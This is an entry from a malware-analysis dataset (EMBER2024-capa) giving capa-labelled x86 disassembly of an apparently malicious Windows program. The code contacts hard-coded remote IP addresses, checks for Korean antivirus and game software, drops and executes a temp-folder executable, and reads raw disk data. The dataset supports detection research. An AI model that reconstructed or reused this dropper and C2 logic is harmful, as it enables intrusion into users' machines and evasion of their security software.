joyce8/EMBER2024-capa huggingface dataset:
Function at 0x424a1a
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, ecx
call edi
sub eax, dword [esi + 0xf4]
cmp eax, 0x7530
jbe 0x424a7d
mov ecx, dword [esi + 0xe8]
lea eax, [esi + 0xe8]
mov edx, dword [esi + 0xf0]
mov dword [esi + 0xdc], ecx
xor ecx, ecx
mov dword [esi + 0xe4], edx
mov dword [eax], ecx
lea eax, [esi + 0xf0]
mov edx, dword [esi + 0xec]
mov dword [esi + 0xec], ecx
mov dword [eax], ecx
lea eax, [esi + 0xec]
mov dword [esi + 0xe0], edx
call edi
mov dword [esi + 0xf4], eax
mov edi, dword [esi + 0xe4]
test edi, edi
jne 0x424a8f
mov eax, dword [esi + 0xdc]
jmp 0x424ae7
push ebx
push ebp
push 0xa
xor eax, eax
pop ecx
xor ebp, ebp
test eax, eax
jne 0x424ae5
or eax, 0xffffffff
xor edx, edx
div ecx
mov ebx, dword [esi + 0xdc]
cmp ebx, eax
jbe 0x424abd
shr ebx, 1
shr edi, 1
mov dword [esi + 0xdc], ebx
mov dword [esi + 0xe4], edi
mov eax, dword [esi + 0xdc]
mov edi, dword [esi + 0xe4]
imul eax, ecx
xor edx, edx
div edi
xor edx, edx
imul eax, eax, 0x3e8
div ecx
lea ecx, [ecx + ecx*4]
inc ebp
shl ecx, 1
cmp ebp, 3
jb 0x424a98
pop ebp
pop ebx
pop edi
pop esi
ret

Function at 0x424f46
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 8]
mov esi, ecx
push eax
push 0x20000013
push dword [esi + 4]
mov dword [ebp - 4], 4
call fcn.0042301e
add esp, 0x14
test eax, eax
je 0x424f84
mov eax, dword [ebp - 8]
cmp eax, 0xc8
jb 0x424f88
cmp eax, 0x12c
jae 0x424f88
mov al, 1
jmp 0x424f9e
add eax, 0xd3c0
or eax, 0x80040000
push eax
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor al, al
pop esi
leave
ret

Function at 0x425322
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 8]
push ebx
push eax
mov ebx, ecx
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
test eax, eax
mov dword [ebp - 4], eax
je 0x425374
push eax
call fcn.004274b7
pop ecx
mov dword [ebx + 0x40], eax
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x425374
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x43e0a4
push dword [ebx + 0x40]
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x425378
xor al, al
jmp 0x4253d9
push esi
push edi
mov edi, ebx
lea eax, [ebx + 4]
neg edi
sbb edi, edi
mov esi, dword [ebp - 0xc]
push 0xd
and edi, eax
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push str.VarFileInfoTranslation
rep movsd dword es:[edi], dword [esi]
push dword [ebx + 0x40]
call sub.VERSION.dll_VerQueryValueA
pop edi
pop esi
test eax, eax
je 0x4253d7
mov eax, dword [ebp - 4]
shr eax, 2
mov dword [ebx + 0x3c], eax
shl eax, 2
push eax
call fcn.004274b7
mov dword [ebx + 0x38], eax
xor eax, eax
cmp dword [ebx + 0x3c], eax
pop ecx
jbe 0x4253d7
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebx + 0x38]
mov edx, dword [edx + eax*4]
mov dword [ecx + eax*4], edx
inc eax
cmp eax, dword [ebx + 0x3c]
jb 0x4253c5
mov al, 1
pop ebx
leave
ret 4
Function at 0x42fe96
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x441ea0
cmp edx, dword [eax]
je 0x42feb8
add eax, 8
inc ecx
cmp eax, 0x441f30
jl 0x42fea9
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x441ea0]
jne 0x42ffe6
mov eax, dword [0x445640]
cmp eax, 1
je 0x42ffc0
test eax, eax
jne 0x42fee9
cmp dword [0x43f4a4], 1
je 0x42ffc0
cmp edx, 0xfc
je 0x42ffe6
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x42ff20
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00426fd0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00427800
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x42ff63
lea eax, [ebp - 0x1a4]
push eax
call fcn.00427800
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x437560
push edi
call fcn.00427700
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00426fd0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00426fe0
lea eax, [ebp - 0xa0]
push 0x437540
push eax
call fcn.00426fe0
push dword [esi + 0x441ea4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00426fe0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00431bf8
add esp, 0x2c
pop edi
jmp 0x42ffe6
lea eax, [ebp + 8]
lea esi, [esi + 0x441ea4]
push 0
push eax
push dword [esi]
call fcn.00427800
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x42cc20]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x430b50
push 0x67
push esi
call edi
push 0x64
push 0x430a88
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00401190
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x430b50
push 0x430a88
push 0
mov dword [0x430c18], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401092
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0040ec45
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
call fcn.00402a90
call fcn.00402050
test eax, eax
je 0x4010c3
call fcn.00403340
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004012e0
test eax, eax
je 0x40107a
call fcn.00401490
mov eax, dword [0x4314b8]
test eax, eax
jbe 0x4010fe
cmp word [0x4314bc], 0
jbe 0x4010fe
push eax
mov esi, str.218.54.31.226
call fcn.00403ad0
mov ax, word [0x4314bc]
add esp, 4
mov word [0x42dfac], ax
xor eax, eax
movzx ecx, word [eax + str.tmp5fdr.exe]
mov word [eax + 0x4319f0], cx
add eax, 2
test cx, cx
jne 0x401100
call fcn.00403b50
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x12]
push edx
mov word [esp + 0x14], cx
call fcn.00410cd0
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x4319f0
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.0040ec54
add esp, 0xc
push 0x1f4
call edi
push 1
push 0
push 0x427a08
lea edx, [esp + 0x14]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4012e0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x1dc
mov eax, dword [0x42cc20]
xor eax, esp
mov dword [esp + 0x1d4], eax
push ebx
push edi
xor eax, eax
push 0x3e
push eax
lea ecx, [esp + 0x1a2]
push ecx
mov word [esp + 0x1a4], ax
call fcn.00410cd0
add esp, 0xc
lea edi, [esp + 0x198]
call fcn.004035e0
xor eax, eax
movzx ecx, word [esp + eax + 0x198]
mov word [eax + 0x430c20], cx
add eax, 2
test cx, cx
jne 0x401321
push 0x430c20
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x40136e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [esp + 0x1d4]
xor ecx, esp
call fcn.0040ec45
add esp, 0x1dc
ret
push 0x430c20
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401355
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x4315f0
call fcn.00401d10
test eax, eax
jne 0x401440
jmp 0x4013b0
movzx ecx, word [eax + str.gduer]
mov word [eax + 0x431798], cx
add eax, 2
test cx, cx
jne 0x4013b0
push str.112.175.88.207
push 0x40
push 0x4315f4
call fcn.0040ecd1
add esp, 0xc
push str.AAAA
push 0x10
push 0x431676
call fcn.0040ecd1
add esp, 0xc
push 0x427a44
push 0x40
push 0x431696
call fcn.0040ecd1
mov eax, 0x51
mov ecx, 0x2b8e
add esp, 0xc
mov word [0x431674], ax
mov word [0x431716], cx
xor eax, eax
jmp 0x401420
movzx ecx, word [eax + str.dosret]
mov word [eax + 0x431778], cx
add eax, 2
test cx, cx
jne 0x401420
mov dword [0x4317b8], 5
call fcn.00403680
push 0x427a74
call fcn.00403730
add esp, 4
mov dword [0x4314b8], eax
call fcn.00401930
push 0
push 0
push 0
push 0x401740
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x1dc]
pop edi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040ec45
add esp, 0x1dc
ret
Function at 0x401800
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x42cc20]
xor eax, esp
mov dword [esp + 0x414], eax
push ebp
push esi
push ebx
mov ecx, edi
call fcn.00403c00
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x40190e
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00410cd0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.00410cd0
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x430c60
cmp word [esi], 0
je 0x4018ae
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.0040ecd1
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.0040ec54
add esp, 0xc
add esi, 0x118
cmp esi, 0x4311d8
jl 0x401878
mov esi, 0x430c60
cmp word [esi], 0
je 0x4018d2
push ebx
push edi
push esi
call fcn.00404460
add esp, 0xc
add esi, 0x118
cmp esi, 0x4311d8
jl 0x4018c1
push 0x4319f0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040ec54
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40190c
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
xor ecx, esp
call fcn.0040ec45
add esp, 0x41c
ret
Function at 0x401ab0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x42cc20]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.00410cd0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.00410cd0
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str.HangameKOREANHanUninstall.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push 0x427c44
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401b56
mov ebx, 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x427c98
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401b81
or ebx, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x427cf4
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401bac
or ebx, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x427d54
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401bda
or ebx, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x427db4
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401c08
or ebx, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401c36
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.0040ec45
add esp, 0x414
ret
Function at 0x401db0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x42cc20]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
xor ebx, ebx
cmp edi, ebx
je 0x401ec3
cmp esi, ebx
je 0x401ec3
mov eax, esi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401de0
sub eax, edx
sar eax, 1
je 0x401ec3
push 0x206
lea ecx, [esp + 0xe]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x14], ax
call fcn.00410cd0
add esp, 0xc
cmp dword [esp + 0x218], ebx
jne 0x401e4a
cmp dword [0x42df90], 3
jne 0x401e4a
push 0x104
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x427824
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.0040ec54
add esp, 0xc
jmp 0x401e5a
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040ec54
push 0x427828
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call fcn.0040efa6
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, ebx
je 0x401ec3
push eax
push 1
push 0x200
push edi
call fcn.0040f299
mov eax, dword [esp + 0x14]
push eax
call fcn.0040f32d
add esp, 0x14
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0040ec45
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040ec45
add esp, 0x210
ret

Function at 0x401f80
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x42cc20]
xor eax, esp
mov dword [esp + 0x20c], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0xe]
xor eax, eax
push edi
push ecx
mov word [esp + 0x14], ax
call fcn.00410cd0
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x402032
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040ec54
push 0x427864
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.0040efa6
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x402017
push eax
push 1
push 0x200
push esi
call fcn.0040f50b
mov eax, dword [esp + 0x14]
push eax
call fcn.0040f32d
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0040ec45
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0040ec45
add esp, 0x210
ret
Function at 0x402900
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x414
mov eax, dword [0x42cc20]
xor eax, esp
mov dword [esp + 0x40c], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x212]
push ecx
mov word [esp + 0x214], ax
call fcn.00410cd0
add esp, 0xc
push 0x200
xor esi, esi
lea edx, [esp + 0xc]
push esi
push edx
call fcn.00410cd0
add esp, 0xc
lea ebx, [esp + 8]
call fcn.00401ee0
test eax, eax
je 0x402a6a
xor eax, eax
mov edi, edi
movzx ecx, word [eax + 0x4279b8]
mov word [eax + 0x4312e8], cx
add eax, 2
test cx, cx
jne 0x402960
xor eax, eax
jmp 0x402980
movzx ecx, word [esp + eax + 0x8e]
mov word [eax + 0x4311e0], cx
add eax, 2
test cx, cx
jne 0x402980
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0xc]
mov word [eax + 0x431260], cx
add eax, 2
test cx, cx
jne 0x4029a0
cmp dword [0x42df90], 3
mov ax, word [esp + 0x8c]
mov cx, word [esp + 0x12e]
mov word [0x4312e0], ax
mov word [0x431368], cx
mov dword [0x43136c], 5
je 0x4029f9
lea edx, [esp + 0x208]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402a26
push 0x104
lea eax, [esp + 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x427e70
lea ecx, [esp + 0x20c]
push 0x104
push ecx
call fcn.0040ec54
add esp, 0xc
push str.golfset.ini
lea edx, [esp + 0x20c]
push 0x104
push edx
call fcn.0040ec54
add esp, 0xc
lea eax, [esp + 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
pop esi
pop ebx
mov ecx, dword [esp + 0x40c]
xor ecx, esp
call fcn.0040ec45
add esp, 0x414
ret
mov ecx, dword [esp + 0x414]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.0040ec45
add esp, 0x414
ret

Function at 0x402a90
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x42cc20]
xor eax, esp
mov dword [esp + 0x11c], eax
push 0x11c
lea eax, [esp + 4]
push 0
push eax
mov dword [0x42df90], 0
call fcn.00410cd0
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402b49
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x402b0e
mov eax, dword [esp + 8]
cmp eax, 2
jae 0x402aef
cmp eax, 1
jne 0x402b49
mov dword [0x42df90], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040ec45
add esp, 0x120
ret
cmp eax, 6
jne 0x402b49
mov eax, dword [esp + 8]
test eax, eax
jne 0x402b3a
mov dword [0x42df90], 4
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040ec45
add esp, 0x120
ret
cmp eax, 1
jne 0x402b49
mov dword [0x42df90], 5
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040ec45
add esp, 0x120
ret
Function at 0x402b60
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x42cc20]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00410cd0
add esp, 0xc
cmp dword [0x42df90], 3
jne 0x402bc0
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x427e70
lea eax, [esp + 4]
push 0x104
push eax
call fcn.0040ec54
add esp, 0xc
jmp 0x402bcf
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push 0x427e74
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.0040ec45
add esp, 0x20c
ret

Function at 0x402db0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x42cc20]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov dword [esp + 0x10], 0
mov word [esp + 0x14], ax
call fcn.00410cd0
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00402fc0
mov ebx, dword [esp + 8]
add esp, 4
call fcn.004030d0
cmp eax, 0xffffffff
jne 0x402e32
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040ec45
add esp, 0x218
ret
push esi
call fcn.00402cd0
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.0040ec45
add esp, 0x218
ret

Function at 0x402e60
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x228
mov eax, dword [0x42cc20]
xor eax, esp
mov dword [esp + 0x220], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0x64
call ebp
xor ebx, ebx
push 0x1ff
lea eax, [esp + 0x2d]
push ebx
push eax
xor esi, esi
mov byte [esp + 0x34], bl
call fcn.00410cd0
add esp, 0xc
cmp edi, 0xffffffff
je 0x402f40
xor eax, eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x2c], eax
push 0x200
lea eax, [esp + 0x34]
push eax
push edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x402f40
mov ecx, dword [esp + 0x1f2]
mov edx, dword [esp + 0x1ee]
lea eax, [edx + ecx]
cmp eax, ebx
jbe 0x402efd
mov esi, eax
mov eax, dword [esp + 0x202]
mov ecx, dword [esp + 0x1fe]
add eax, ecx
cmp eax, esi
jbe 0x402f13
mov esi, eax
mov edx, dword [esp + 0x212]
mov eax, dword [esp + 0x20e]
add eax, edx
cmp eax, esi
jbe 0x402f29
mov esi, eax
mov ecx, dword [esp + 0x222]
mov edx, dword [esp + 0x21e]
lea eax, [edx + ecx]
cmp eax, esi
jbe 0x402f40
mov esi, eax
push 0x64
call ebp
mov ecx, dword [esp + 0x22c]
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040ec45
add esp, 0x228
ret
Function at 0x402f60
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
push esi
mov esi, eax
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 4], eax
cmp edi, 0xffffffff
je 0x402fb4
mov eax, dword [esp + 0x20]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x14], edx
lea edx, [esp + 8]
push edx
mov dword [esp + 0x14], eax
lea eax, [esp + 8]
push eax
shl esi, 9
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
add esp, 0x18
ret

Function at 0x403210
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x427ee8
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.0040efa6
add esp, 0xc
test eax, eax
je 0x403234
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.0040fb4e
mov eax, dword [esp + 0x1c]
push eax
call fcn.0040fd70
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov edi, eax
call fcn.0040fb4e
mov edx, dword [esp + 0x38]
lea ebp, [edi + edx]
push ebp
call fcn.0040f96c
mov esi, eax
mov eax, dword [esp + 0x30]
push eax
push 1
push edi
push esi
call fcn.0040f299
mov ecx, dword [esp + 0x40]
push ecx
call fcn.0040f32d
mov eax, dword [esp + 0x50]
lea ebx, [esi + edi]
call fcn.004032f0
mov edx, dword [esp + 0x4c]
push 0x427ef0
push edx
lea eax, [esp + 0x4c]
push eax
call fcn.0040efa6
add esp, 0x40
test eax, eax
je 0x4032b5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x10]
push ecx
push 1
push ebp
push esi
call fcn.0040f50b
mov edx, dword [esp + 0x20]
push edx
call fcn.0040f32d
add esp, 0x14
test esi, esi
je 0x4032dd
push esi
call fcn.0040fa36
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret